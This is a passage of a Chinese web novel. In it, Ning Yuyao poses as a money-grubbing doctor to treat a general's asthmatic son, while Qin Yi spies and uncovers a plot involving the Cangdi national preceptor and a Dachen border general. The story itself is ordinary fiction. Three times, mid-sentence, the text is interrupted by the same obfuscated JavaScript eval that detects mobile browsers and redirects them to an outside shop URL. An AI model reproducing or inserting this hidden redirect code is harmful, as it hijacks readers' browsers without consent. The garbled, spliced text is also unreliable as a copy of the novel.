进来的这个年轻姑娘,脸上画着祷纹,看不清她的真实面容,穿着一身簇新的蓝色葛裙,衣服虽新,却明显不太合身,她的头发也是胡乱编了个辫子,垂在胸前。从这身打扮来看,她的家境应该不太好。 宁玉瑶任她打量,不卑不亢地回道:“正是在下。” 妇人蹙眉,有些怀疑地问道:“启宁镇有那么多经验丰富的老大夫都对我儿的病症束手无策,你一个小姑娘能有什么特别的法子?” 宁玉瑶傲然昂首,“若是旁的病症,我或许比不上那些老大夫,但这喘疾,还真说不准。” 妇人犹豫不决,虽然之前大夫都说跃儿已经药石罔效,但她仍不确定是否该让这个年轻姑娘试一试。 正在此时,床上的孩子气息急促紊乱,发出的哮鸣声更大了,眼看就要喘不过气来。妇人脸色大变,扑到床上,声音颤抖地喊着:“跃儿,跃儿你怎么了?跃儿别吓娘亲。” 孩子的脸色在极短的时间内迅速由涨红变成了青紫,妇人慌乱之下终于想起屋内还有个大夫,赶紧对宁玉瑶喊道:“小大夫,您快来看看跃儿。” 孩子开始发作时,宁玉瑶就已经将银针取出,她不紧不慢地上前解开孩子的衣襟,一针扎在前胸的膻中穴上,随后又取一针扎在颈部的天突穴。 不过片刻功夫,孩子的呼吸渐渐平稳下来,妇人原本惊慌失措的心安定下来,对宁玉瑶的医术也相信了几分。 她正欲开口说话,却看见宁玉瑶正专注地握着孩子的手把脉,又赶紧闭上了嘴,在一旁焦急地等待着。 宁玉瑶在第一眼见到孩子的面相时,心中就对孩子的病症有了初步的判断。等她搭上孩子的脉搏后,更是彻底放下心来。 这并不是多么复杂难医的病症,与江老曾经教导过的病例简直一模一样。只不过这么简单的病症,启宁镇上的大夫都束手无策,她对这里的医术水准也大概心中有数了。 她一松开手,旁边的妇人就赶紧问道:“请问大夫,我孩子的病能治吗?” 宁玉瑶老神在在地说道:“这有何难,我说过,对我而言喘疾并不难,就看你是要治成什么样了。” 妇人一脸疑惑,治病就治病,还有什么治成什么样的说法? 宁玉瑶并未说话,直到屋里的侍女终于想起给她倒茶,她喝了口茶后才缓缓说道:“这孩子是胎里心肺没长好,我给他针灸三次,再开几幅药,这次发作就能挺过去了。不过若是连续针灸一个月,以后不跑不跳,注意不要受寒,那就差不多与正常人无异。” 她的话其实只说了一半,孩子这次发作如此严重,主要还是因为启宁镇气候湿润,草木丰茂,各种植物的花粉草屑漫天飞舞,这些都是他发病的诱因。 将来若是好好养护,再寻个气候干燥的地方住着,可能也不会再发病。 不过她给孩子多针灸几次也能让他恢复得更快些,也不算完全欺骗这妇人。 妇人赶紧说道:“那自然要尽量治好。” “行。”宁玉瑶点头,放下茶盏,朝妇人伸出右手。 妇人不解地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555635|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁玉瑶。 宁玉瑶勾了勾手指,“先付一部分诊金。” 妇人大概从未见过如此直白要钱的人,一时间竟不知该作何反应,但到底是爱子心切,赶紧对身边的侍女吩咐道:“你去取一百两银子来……” “慢着!”一个粗犷的男人声音打断了她的话,随后,一个身穿铠甲,满脸络腮胡的矮胖中年男子走了进来。 妇人赶紧迎上去,垂泪依偎在男子身边,唤道:“朱将军,我们的跃儿病得如此厉害,钱财乃是身外之物,给孩子治病要紧。” 朱将军搂着比他还高一个头的妇人柔声说道:“阮娘,孩子自然要治,但这女子来历不明,万一拿着钱跑了,那可真是人财两空。” 宁玉瑶看着眼前郎情妾意的一幕,不知怎的,觉得眼睛有点疼,赶紧垂下眼帘,不再看他们。 心中思忖,她方才施针的时候也看清楚了,玉佩上确实有一个大宸的“方”字。但听这阮娘所言,这孩子是她与这姓朱的所生,那方将军的家传玉佩怎么会在他身上? 朱将军安抚好爱妾,对宁玉瑶喝道:“没有病未治好就先给诊金的道理,丁姑娘先给孩子治病,等医好了我儿少不了你的好处,你也知道我们现在在司殿内,我必不会诓你。” 宁玉瑶回过神来,抬头看着面前的男人,嘴角勾起一抹笑,有恃无恐地说道:“那恐怕就恕在下无能为力了。既然将军知道我姓丁,想必已将我这些时日的所作所为打探清楚了,我为了买这幅银针来拿赏金可是花光身上所有的积蓄。你们若不愿意先付一部分诊金,我没钱住客栈,只能早日离开这里,去别地谋生了。” 阮娘闻言,顿时着急,看向身旁的男子,“将军……” 朱将军抬手示意她别说话,他眯着眼睛看向宁玉瑶:“既然如此,那你就住进司殿,等我儿的病治好了再离开。” 他方才虽然派人打探面前女子这些时日的动向,但她的来历成谜,他有些怀疑她的目的。 宁玉瑶知道他是在试探自己,但她不上套,直接拒绝道:“不住,你们这里进出太麻烦,我只想要钱,没兴趣给自己添堵。” 她这一副对其他事物不感兴趣,只想要钱的模样让朱将军心中疑虑稍减,但依旧不松口,一定要宁玉瑶住在这里,毕竟放在眼皮子底下更放心。 而宁玉瑶则是一副死要钱的模样,坚决不同意。 两人就此僵持不下。 一旁的阮娘心急如焚,赶紧劝道:“丁姑娘,您看这样,您在司殿里住着,朱将军给您一块令牌,让您自由出入,而且在司殿吃住都不要您的银钱,等我儿痊愈了,诊金一两银子也不会少您的,您看如何?” 朱将军本有心反对,但这个孩子确实至关重要,便默许了阮娘的话。 宁玉瑶见好就收,假意为难地同意了,不过她又朝阮娘伸出手:“先拿几两银子来,我去买身衣服。” 阮娘和朱将军被她这幅财迷样气个倒仰,但现在整个启宁镇只有她能治跃儿,只能憋屈地从身上掏出十两银子递给她。 朱将军从牙缝中挤出几个字:“丁姑娘最好保证你能治好我儿。” 宁玉瑶收好银子,这才笑眯眯地说:“拿人钱财替人消灾,只要钱到位,一切都好说,不过眼下孩子正睡着,等用完午膳一个时辰后,我再过来给他施第一次针。” 说完直接走出屋子,十足的小人得志模样。 78.蠢货 宁玉瑶走出房门,抬眼对上秦熠满是揶揄的眼神。她悄悄眨了眨眼,将手中的竹匣随意地扔给秦熠,微微扬起下巴,傲然地朝着司殿外走去。 秦熠手忙脚乱地接住竹匣,含胸驼背,脚步虚浮地跟在宁玉瑶身后。 周围有人在暗中观察他们。 对普通人来说,装成武艺高强的高手或许有些困难,但于秦熠而言,要装成一个不会武功的窝囊男人易如反掌。 之前他在攀爬崖壁时,手上的皮肉已被磨掉好几层,如今手上都是细嫩新肉,曾经习武留下的老茧早已磨光,他不闪不避,任由那些暗处的人查看。 进了暂居的客栈,关上房门,两人凑到一起小声地窃笑着。 因外面有人盯梢,他们没有闲聊,宁玉瑶问秦熠:“不知道这位朱将军是何人?” 秦熠对此还算清楚,尽管他大多数时间都在与北穆交战,但对于大宸周边的将领也下功夫了解过。 他解释道:“在苍荻,姓朱而且被人称为将军的只有朱占行一人。我听方敏策说过,这个人极其自大且性格暴躁,若不是靠着祖上的战功庇护,就凭他那点能耐,根本当不上这个将军。而且,方家与朱家祖辈都死于对方之手,两家是世仇。” 说到这里,秦熠不禁冷笑一声,“现在朱家的孩子手里拿着方家的传家玉佩,真是不够恶心人的。” 宁玉瑶听得眉头直皱,这姓朱的肯定没安好心,只是目前不清楚他们所图何事。此事急不得,现在司殿的人对他们有戒心,只能慢慢谋划,不过朱占行那自大的性格或许可以好好利用一番。 两人商议妥当之后,没有在房间内过多耽搁,简单收拾了东西便走了出来。 他们在客栈并没有多少行李,但既然是个财迷,就必然要把客栈定的房间退了,拿回定金。 回司殿的路上,宁玉瑶买了两身衣裳,还买了许多从未见过的新奇小玩意,很快就将朱将军给她的十两银子花得一干二净。 她兴致勃勃地摆弄着手中这些从未见过的玩意儿,完全就是一副土包子模样。 * 出去查探宁玉瑶与秦熠二人来历的侍卫回了司殿,与此同时,暗中跟随他们二人的侍卫也匆匆来到朱占行面前。 出去查探二人来历的侍卫恭声禀报:“朱将军,这二人于六月初三进入启宁镇,而后他们直接来司殿求祷纹,在此期间并无其他特别举动。至于他们此前的情况,属下实在无法查明。” 朱占行颔首,表示知道了。 苍荻多山林,很多山头都有人居住,甚至还有许多隐世家族常年隐居山中不现世,这使得苍荻户籍制度并不完善,对于时不时冒出的能人异士,大家也都习以为常。 随后,负责暗中跟随而且的侍卫毕恭毕敬地将宁玉瑶的行为详尽地禀报至朱占行。 朱占行沉吟。 种种迹象表明,这就是个刚从山上下来贪财又没什么见识的小丫头,似乎没什么威胁,虽然她身边跟着一个看起来十分健壮的男子,但不会武功的普通下人,朱占行根本没放在眼里。 这丫头也就有一手治疗喘疾的本事罢了,而且据她所言,除了喘疾,其他病症她都不会医治。 也不知道她是真有本事,还是撞了大运才治好跃儿。 朱占行挥了挥手,对下首的侍卫们吩咐道:“再盯他们几天,小心他们耍什么花招。” * 宁玉瑶进了司殿,溜溜哒哒地跟在侍卫身后走进一间小屋子。 这屋子两侧都住着侍卫,一眼便能看到他们进进出出的身影。再看这间屋子,里面十分狭小,仅摆放着一张小床,四周的墙壁仿佛挤压了过来,很是逼仄。 宁玉瑶见状,脸色瞬间拉了下来,她立刻不满地大声嚷嚷道:“你们将军这是什么意思?我又不是你们的下人,我可是来给你们公子治病的,虽不敢以贵客自居,但怎么说也是个大夫吧?你们就拿这么个破屋子打发我?这屋子还没有我家猪圈大呢!哼,你们还是另请高明吧!” 说完,她一刻也不想多待,气冲冲地拉着秦熠就往门外冲去。 那侍卫在司殿多年,从未见过这么不吃亏,说发火就发火的女人,一时间有些傻眼,但还是赶紧快步上前拦住她,急忙解释道:“丁姑娘,您误会了,这屋子是给您身边这位药仆准备的,不是给您的。” 宁玉瑶停下脚步,半信半疑地看着侍卫:“当真?那先去看看我的屋子。” 侍卫赶紧扯出一抹僵硬的笑容,连连说道:“那是自然,您请跟我来。” 侍卫带着宁玉瑶来到一栋二层小楼前。这小楼没有精致的院子,面积不大,一楼有一间厅室和净房,二楼则只有一间卧房,不过家具和摆设倒是一应俱全,而且周围没有其他房子相邻,十分清静。 宁玉瑶在屋里屋外绕了一圈,满意地说道:“这才像话嘛。好了,你下去吧,等会儿记得把午饭送过来。” “是,丁姑娘。” 侍卫正准备告退,宁玉瑶叫住了他:“刚才那间小屋子就不要了,给你们省一间房。我的药仆就在这儿打地铺就行。” 说完,宁玉瑶像个大爷似的挥挥手让侍卫退下,又踹了秦熠一脚,恶声恶气道:“愣着干什么?赶紧关门,我要休息了。” 秦熠赶紧一脸陪笑地送侍卫出门。 侍卫看着秦熠殷勤的模样,心里舒坦了些,但还是忍不住在地上啐了一口,他在司殿这么久,从来没见过这么厚颜无耻的人。 启宁镇里,哪个大夫进了司殿不是小心谨慎,毕恭毕敬的,就这个从乡下来的土包子还敢拿乔,没见识就是没见识。 秦熠送走侍卫,状似无意地扫了眼门外,确认没有任何可供人藏身的隐匿之处后,才将房门彻底关上。 他转过身来看着宁玉瑶,眼中满是笑意,“你这嚣张的模样可真是欠揍。” 宁玉瑶悠闲地坐在椅子上,一手轻轻托着下巴,满脸得意,这唱戏的本事,她可是专程跟小鱼儿学过的,虽不像小鱼儿那般出神入化,说笑就笑说哭就哭,但糊弄一下这些人还是绰绰有余。 她俏皮笑道:“现在可是他们有求于我,我只是一个没脑子的乡野村妇,自然有恃无恐。反正那孩子病没好,他们就对我无可奈何,我何不趁机放肆一下。更何况,没有人会忌惮一个蠢货。” 至于等孩子好了会不会处置自己,她半点不担心,有秦熠在呢,而且江老给了她一堆毒药,药翻这一个司殿的人没问题,大不了再跑回小谷村待着,等风头过了再出来。 不过司殿中还有许多普通百姓,不到万不得已,她不想造那么多杀孽。 “对了,熠哥哥,”宁玉瑶忽然想起一事,“他们肯定会对我们进行调查,会不会顺着线索查到你前些日子来这里买铁钉的事情?” 秦熠浑不在意地摆了摆手,语气笃定地说道:“放心吧,在苍荻私卖铁器可是死罪,那些人不会这么想不开暴露自己。” 听到秦熠这么说,宁玉瑶放下心来,她可不想因为自己的事情给小谷村惹麻烦。 经过上午的一番折腾,很快就到了午膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566380|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,送午膳过来的依旧是之前的那个侍卫。 宁玉瑶看着桌上的饭菜,这次没有像之前那般大发雷霆,只是皱着眉头嘟囔了几句,抱怨菜量少而且不合胃口。 那侍卫听到后,偷偷撇了撇嘴,心中有些不屑,装作没听见,默默地把饭菜摆放好后便退下了。 用过午膳,宁玉瑶小憩了一会儿。快到申时,她才起身,将头发随意拢了拢,胡乱扎了个辫子,带着秦熠去给小孩治病。 秦熠跟在她身后,看着她乱糟糟的辫子无奈地叹了口气。 玉瑶从来都没自己梳过头发,在小谷村时,涓姨曾很耐心地教了她许久,可她就是学不会把辫子编整齐。 秦熠则更不行,他手大力气也大,之前曾试着像给自己梳头那样把宁玉瑶的头发扎在头顶,结果不小心薅下了宁玉瑶一大把头发。 自那以后,他就再也不敢轻易碰宁玉瑶的头发了,只能任由她的头发乱糟糟的。 很快两人就到了阮娘母子居住的院子,秦熠依旧只能在门口等着。 宁玉瑶进去时,孩子乖乖坐在朱占行怀里,阮娘在旁边开心地逗弄着朱占行怀中的孩子,画面看起来和乐融融。 可惜孩子手中抓着的方家玉佩,让这美好的画面变得有些违和。 宁玉瑶努力让自己不再关注那枚玉佩,她迅速调整表情,换上那副不可一世的模样,大大咧咧地说:“睡好了精神挺不错嘛,来,把孩子放在床上吧。” 上午宁玉瑶只是随手扎了两针,就让儿子安安稳稳睡了一整个上午,这让阮娘对她很是信服。 阮娘连忙从朱占行手中接过儿子,放到床上,静静地站在一旁,盯着宁玉瑶为儿子施针。 不过半个时辰,孩子状态明显好了不少,他的呼吸变得更加平缓,脸色也比之前红润了一些。 宁玉瑶起了针,将孩子翻了个身,让他趴在床上,好在孩子生病无力哭闹,省了不少事。 她熟练地将一根根银针缓缓刺进孩子的后背。 整套针灸结束,宁玉瑶额头布满细密汗珠。她稍稍喘了口气,收起银针,用袖口擦去汗水,随后坐在床边给孩子把脉。 她微微皱着眉头,斟酌好一会儿,才开了药方。 虽然宁玉瑶能流利说苍荻语,但书写苍荻文字有些费力。她随便找个借口,口述药方让他们自行记录。 阮娘看着床上呼吸顺畅的儿子,对宁玉瑶增几分敬重,感激道:“有劳丁大夫了。” 宁玉瑶有气无力地摆了摆手,一开口又是那副让人有些讨厌的模样,“客套话就少说吧,以后送饭食的时候多送些能吃的东西过来就行。” 阮娘一下子被噎得说不出话来,午膳时侍卫确实对朱将军禀报过,这位丁大夫对送去的膳食不太满意,她只得歉意道:“怠慢了姑娘,是阮娘的不对,以后不会再这样了,请您放心。” 宁玉瑶依旧倨傲,微微点头,装作很有文化地说:“知错能改,善莫大焉。” 阮娘心中感激之情瞬间消散,不想再搭理她。 宁玉瑶也不在意阮娘的态度,她大大咧咧地没讲什么规矩,对朱占行随意拱了拱手,“朱将军,那我先告辞了。” 说完,带着一直站在门口等着的秦熠离开小院。 朱占行轻蔑地看着两人离去的背影,心道,这也就是个有几分本事但没多少脑子的女人,要不是只有她能治好跃儿,怎么可能容忍她如此张狂。 不过转念一想,蠢货总比别有用心的好,就她这性子,想必也翻不出什么浪来。 79.偷听 “那姓丁的女人真把自己当千金小姐了不成?每日都要热水沐浴,阮姨娘都没她那么多事。”司殿的烧水婆子费力地将水倒进釜中,满腹牢骚地嘟囔着。 灶台前的烧火婆子一边往灶台里添柴,一边压低声音劝道:“你可小声点吧。你也知道那女人的厉害,省得被她听见了又得闹上一场。” 倒水的婆子手上的动作一顿,不敢再说话了。婆子倒也不是真怕那个丫头片子,只是整个启宁镇就只有她能给小公子治病。 有了这份依仗,那丫头的眼睛都快长到头顶上了。这段时间,她天天在司殿里找事,司殿上下都被她搅得鸡飞狗跳。 而且奉司和朱将军对小公子极其看重,对那女人的行径也就睁一只眼闭一只眼,由着她折腾。那女人更加肆无忌惮,现在支使起她们这些司殿的下人来,比阮姨娘还不客气。 那婆子越想心里越气,最后实在忍不住,朝着地上狠狠啐了一口:“呸!什么东西!” 正忙活时,一道声音从门外传来:“婆婆,水烧好没?” 烧水婆子听到声音,脸上的不耐烦瞬间消失,立即换上笑脸看向门口。 秦熠推开门走了进来。 灶房里原本坐着的两个婆子,看到秦熠脸上明显的淤青以及破损严重的衣裳,连忙站起身围了上去。“哦哟,要死了,那些臭小子又捉弄你了?” 秦熠的脸上闪过一丝不自然,马上又强行挤出一丝笑容,装作无事道:“婆婆,不关侍卫大哥们的事,是我自己不小心。” 婆子看着他身上的伤口,心疼地说道:“怎么就不关他们的事哦,明明知道你不会武,还要天天找你对打,他们一身蛮劲没处使,不知道去打大宸哦!天天就知道欺负自己人!” 秦熠面露尴尬,显然不想继续这个话题,赶紧转移话题道:“婆婆,我主人要的水好了吗?” “好了好了,快拿去吧。”婆子也意识到刚才的话不妥,赶紧顺着秦熠的话略过这个话题。 秦熠熟练地用扁担挑起两桶热水,离开了灶房。 两个婆子看着他落寞的背影,感叹道:“这易小子真不错,嘴甜又勤快,只可惜跟了个不把他当人的主子,要是换个主子,他这本事,日子能好过不少。” “唉,各人有各命,再烧些水吧,那些臭小子肯定又会捉弄他。” “还不都是姓丁的女人造的孽!”倒水的婆子狠狠地说道,“那些侍卫在她那里受了气,不能去对付她,就只能捉弄易小子了。” 两人一边碎碎念着,一边重新把釜里的水加满。 果然,水刚烧好,秦熠就又回来了。 他浑身湿透,衣服紧紧贴在身上,一瘸一拐地走进来,满脸歉疚地对婆子们说:“婆婆,抱歉,我走路没走稳,水都洒了,劳烦你们再帮我烧一份水。” “哎哟,你的腿怎么了?”婆子惊呼一声,刚才明明还好好的。 秦熠摸了摸后脑勺,眼神有些躲闪,“就是崴了脚,没事,过会儿就好了。” 婆子们看着他身上明显的脚印,马上明白是怎么回事,但没有拆穿他,只是指着釜说:“烧好了,去倒吧,走路小心点。” “诶,诶!”秦熠局促地应着,倒好热水挑上扁担,跛着脚慢慢走了。 灶房的拐角处,几名侍卫站在那里,目光紧紧地盯着那个刚刚被他们一脚踹在脚踝上,腿脚不利索的身影。 其中一名侍卫面露不忍,“队正,我们已经试探这么久了,应该差不多了吧,这个易禾看起来就是个普通人。” 旁边的侍卫们虽然没有出声附和,但从他们的表情上可以看出,他们也不想再继续做这种欺负人的缺德事了。 尤其是这个易禾,为人爽快,没有什么心眼儿,不管见到谁都是笑脸相向的。这么长时间相处下来,他们实在有些下不去手了。 队正沉思片刻,确实差不多了。这些日子,对易禾不管是突袭还是故意激怒他,他的表现都像是一个完全不会武的普通人,甚至被激怒到极致还手时,也是毫无章法。 他说道:“白长那么大块头,居然是个银样镴枪头,罢了,不必再在他身上多费心思。” 秦熠自然听到了侍卫们的对话,他的脚步没有丝毫的停顿,不动声色地继续跛着脚,朝着小楼的方向走去。 他进了小楼关上房门,坐在一楼厅堂中艰难看着苍狄杂书的宁玉瑶听到动静,抬头看见浑身狼狈的秦熠,急忙放下书迎了上去,问道:“熠哥哥,没事吧?” 秦熠挺直了背脊,四肢完好无损,丝毫看不出是刚才那个佝偻着背的跛足窝囊男人。他满不在乎地说道:“没事,就他们那点本事,伤不到我。” 他利落地将身上脏衣服脱下,换上干净衣裳后坐到宁玉瑶身边,轻声说道:“我今日打听到,启宁镇是离苍荻边境最近的一个小镇,若是快马加鞭,只需三日就可抵达苍荻边城,出了边城再往东走五日就能到达大宸的边境秧州城。” 宁玉瑶闻言,久久沉默不语,没想到他们离大宸已如此近了。她眼眶渐渐泛红,泪水不知不觉流了下来。 她对上秦熠担忧的眼神,赶紧擦掉眼泪,努力挤出笑容说:“熠哥哥,我没事,你也别急,你平安无事最重要。” 秦熠点头应下,即便宁玉瑶不说,他也不敢贸然行动。宁愿一无所获,他也不能发生意外,将玉瑶一人留在苍狄。 时光匆匆,大半个月过去。司殿中的人已完全对他们放松了警惕,在那些人眼中,宁玉瑶是个只会治喘疾的无脑跋扈女人,秦熠一个不会武的窝囊废,这样的人没什么值得提防的。 等他们身边暗哨都撤掉后,秦熠每天入夜便在司殿中悄悄探寻。 司殿的守卫外紧内松,外面防守极为严密,他当初费尽周折都没能混进来。但在殿内,除了日常巡逻的侍卫,并没有太多侍卫看守。 不过草包将军就是草包将军,朱占行的书房内,除了书桌上摆着干净的纸笔,其他地方几乎空无一物。 秦熠窝在书房角落无奈叹气,看来在这里找不到什么有用线索,只能去听壁角碰碰运气了。 他仔细抹掉自己可能留下的痕迹,敏捷地爬上房梁翻上屋顶,在夜色掩护下朝阮氏所在院落跑去。 不过事不凑巧,秦熠好不容易爬上阮氏的屋顶,阮氏和朱占行刚说了两句话就开始忙了起来。 秦熠无奈,只好翘着脚躺在屋顶上,仔细听着下方的动静。他无声地打了个呵欠,心中暗想,可千万别太久,不然耽误老子睡觉可就亏大了。 没想到,他这念头刚起,下面就没了动静,紧接着就听到叫水的声音。秦熠不可思议地瞪大了狭长的眼睛。 他轻啧一声,真没想到这朱将军如此没用,这么快就结束了。不过这样也好,那些乌七八糟的东西他也没兴趣听。 过了一会儿,底下二人净完身,就吹灭了烛火。秦熠在屋顶又等了一会儿,确定今晚打听不到什么有用信息,便轻轻翻身,沿着来时的路悄悄摸回了小楼。 回到房间,宁玉瑶还没睡着,看到从窗户跳进的秦熠脸色古怪,她忍不住问道:“熠哥哥,怎么了?” 秦熠有些尴尬,抬手抹了把脸,想让自己忘掉刚才朱占行那不中用的样子,故意岔开话题,用被子把宁玉瑶一裹,用力搂住她,说:“没事,睡觉!” 宁玉瑶被这突如其来的举动弄得有点懵,在被子里拼命挣扎,好不容易伸出一条腿,狠狠地踹了秦熠一脚,怒气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579462|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲冲地说:“你发什么疯?大热天的,想热死我吗!” 秦熠心虚地傻笑,赶紧解开被子把宁玉瑶挖出来。 宁玉瑶已经被捂出一身汗,又踹了秦熠一脚,才气哼哼地躺下睡了。 接下来的几天,秦熠将司殿里里外外几乎摸了个遍,并未发现任何有用的东西。 没有其他办法,他只得继续在阮娘的屋顶听壁角。好在朱占行是个没用的家伙,每次与阮娘在一起折腾的时间都不长,让秦熠在屋顶上不至于太过煎熬。 屋里的烛光像往常一样熄灭了,秦熠在心中暗叹,今晚或许又要无功而返,这时,下面的阮娘却突然小声啜泣起来。 朱占行大概刚享受完,心情正好,耐着性子问:“好好的,怎么哭起来了?” 阮娘带着哀怨的娇柔声音响起:“眼看就要到七月了,秧州又要派人来接妾身,妾身舍不得您。” 秧州? 秦熠神色一凛,连忙屏气凝神,把耳朵贴得更近,仔细听着下面的对话。 朱占行道:“我又何尝舍得你,不过方廷峪那边你也得好好哄着他,咱们的闺女燕儿还在他那儿呢,你不想燕儿吗?” 阮娘有些犹豫,“当然想,不过跃儿这边……” 朱占行道:“跃儿不是快好了吗,有我这亲爹守着,你放心就好。而且不把跃儿留在这里,方廷峪那蠢货不会那么听话,下次你再想过来就难了。” 阮娘沉默片刻,难过地说:“可跃儿和燕儿明明是您的孩子,却要叫姓方的为爹,妾身每次想起就难过。” 朱占行却得意地说:“姓方的不是有能耐嘛,再能耐也得帮老子养儿子。” 阮娘抽泣,“那您就不心疼妾身,妾身明明心悦的是您,却要委身于他人,您可真是要挖了妾身的心。” 朱占行赶紧哄道:“我也舍不得你,可国师有命,我也不能违抗。你乖乖的,等国师大事一成,我立刻接你回来。” “将军可千万不能忘了妾身。” 朱占行连忙保证:“那是自然,你也要好好哄着方廷峪,让他多帮国师办事。” 两人又轻声交谈了几句后没了声响,应该是睡下了。 屋顶上的秦熠皱着眉头,等屋内响起朱占行的鼾声,他才翻下屋顶回了小屋。 屋里,宁玉瑶毫无睡意,双眼紧紧地盯着窗户。听到外面传来轻轻的敲击声,她迅速从床上爬起,打开窗户。 “熠哥哥,今天怎么这么晚?”她拉着秦熠在床边坐下,轻声问道。 秦熠凑到她耳边,把刚才在屋顶听到的事情原原本本地说了一遍。 宁玉瑶皱着眉头说:“国师?难道方廷峪和苍荻国师勾结在一起了?” “很有可能,”秦熠郑重点头,“听他们所言,方廷峪受国师差遣应该不是一两次了,他们似乎关系匪浅。” 宁玉瑶一脸厌恶地说:“这国师真恶心,居然把怀着孩子的苍狄女人送到大宸,伪装成大宸人。” 她抿着嘴唇,与秦熠对视了一晚,两人眼中满是凝重。 之前有个林鸿轩混进了大宸朝堂,要不是宁玉瑶及时识破,以他探花的学识,在大宸官场肯定会爬得更高。 现在又出了方廷峪的事。 方廷峪可是大宸的戍边大将,如果这次他们没发现其中的问题,等那个叫跃儿的孩子长大,以方廷峪对他的疼爱与器重,他必然会继承方廷峪的家业。 然而这孩子是在苍狄长大,亲生父亲还是苍狄人,这样将来会有什么后果,简直不堪设想。 如今大宸的文臣武将都已被苍荻渗透,这个国师所谋划的大事必定非同小可。 宁玉瑶当机立断道:“我们找机会尽快回大宸。” 80.字据 然而宁玉瑶他们想要离开,事情却没那么简单。 六月下旬,那个叫玖跃的孩子身体日渐康健之时,朱占行亲临小楼找到宁玉瑶。 “丁姑娘,本将军这里有几个患喘疾的病人,得劳烦你去诊治一番。”朱占行虽言辞客气,语气却高高在上,带着不容拒绝的强硬。 宁玉瑶不怵他,坐在椅子上喝茶,直接回道:“不治。我虽只会医治喘疾,但也不轻易出手,没钱免谈。” 朱占行眯起眼睛死死地盯着她,可宁玉瑶所见过的长辈比朱占行威严的大有人在,他板起的面孔毫无威慑力。她直接瞪回去,充分诠释了什么叫初生牛犊不怕虎。 两人对峙片刻,朱占行见吓唬不了她,也不能真把她砍了,只好无奈妥协:“那这样,治好一个病人给你十两银子如何?” 宁玉瑶听后,不屑地撇了撇嘴:“你打发叫花子呢?你难道不知道我施针时得耗费多少力气?” 朱占行咬咬牙:“五十两!” 宁玉瑶假装沉思,并未即刻答复。 朱占行有些恼怒地说道:“一人一百两!你可别得寸进尺了。” 宁玉瑶脸上一副自己吃了大亏的模样,不情不愿地应道:“行吧,一百两就一百两,不过你得给我立个字据,不然我可信不过你。” 朱占行闻言,络腮胡下的脸气得通红,他手指着宁玉瑶,想说什么却又咽了回去,最后甩袖离去,怒吼道:“磨墨!” 没过多久,朱占行身边的亲兵返回小楼,他面无表情地将一份字据递给宁玉瑶。 字据上写着:丁玉治疗五名病人,每人一百两,待全部治好后与司殿悬赏的一千两一起结算。 宁玉瑶眼珠一转,一副要发财了的模样将字据妥善收好,对亲兵说道:“你去转告朱将军,只要我给小公子施完针,其他时间随时可以把病人带来。” 那亲兵本就因宁玉瑶对朱将军不敬感到不满,他脸色阴沉,没有给宁玉瑶好脸色看,冷哼一声拍了拍手,外面抬进来几个呼吸急促,面唇发紫的老人。 宁玉瑶不再跟他们废话,径直蹲到那些老人身旁,为他们把脉。 把完五个人的脉搏,宁玉瑶沉思,这五个人看上去都像是患有喘疾,但从脉象上看,发病的内因却各不相同。这姓朱的能找来这样五个表面症状相似却毫不相干的病人,确实是费了不少心思。 不过好在这些病症对她来说都不是什么棘手的事,否则真的是要砸了自己的招牌。 想到这里,宁玉瑶抬起头看向亲兵,说道:“这些人我都可以治好,不过给他们针灸用的银针需要你们去买。” 亲兵听了,皱着眉头不满地说:“你不是有一副银针吗?又想讹将军的银子?” 宁玉瑶一脸无所谓,悠悠地说:“那你就去问问你家将军,看他介不介意自己的儿子跟这些病人共用一副银针。” 亲兵被宁玉瑶的话堵得哑口无言,将军肯定是不愿意的,这些贱民怎么配和小公子共用一套银针。 但宁玉瑶这么直言不讳,让他觉得有些下不来台,只得硬邦邦地说了一句:“你等着,我马上让人去买银针。” 宁玉瑶倨傲地斜睨了亲兵一眼,哼!跟我斗,还治不了你了! 司殿要买银针,很快便有人将品质上乘的银针送了过来。 宁玉瑶受江老的教导,并不会因为这些病人浑身脏污的狼狈模样而对他们冷眼相待,全神贯注地为这些老人灸治。 起针之后,她皱着眉头对亲兵说:“两个时辰后,把他们身上擦洗干净。” 治病的时候她可以不嫌弃病人脏污,但若是有条件,她还是希望病人能够保持身体清洁,这样也于恢复有益。 亲兵听到宁玉瑶这理所当然的命令口吻,心中极为不满,但朱将军已有令,丁大夫诊治这些人时,他们需听从调遣,是以他虽满心憋屈,也只得应下,带着病人退下。 宁玉瑶望着亲兵们怒气冲冲远去的背影,若有所思地转过头,看向同样一脸沉思的秦熠。 秦熠压低声音道:“看来这朱占行对你有所求,这几个人是用来试探你的。” 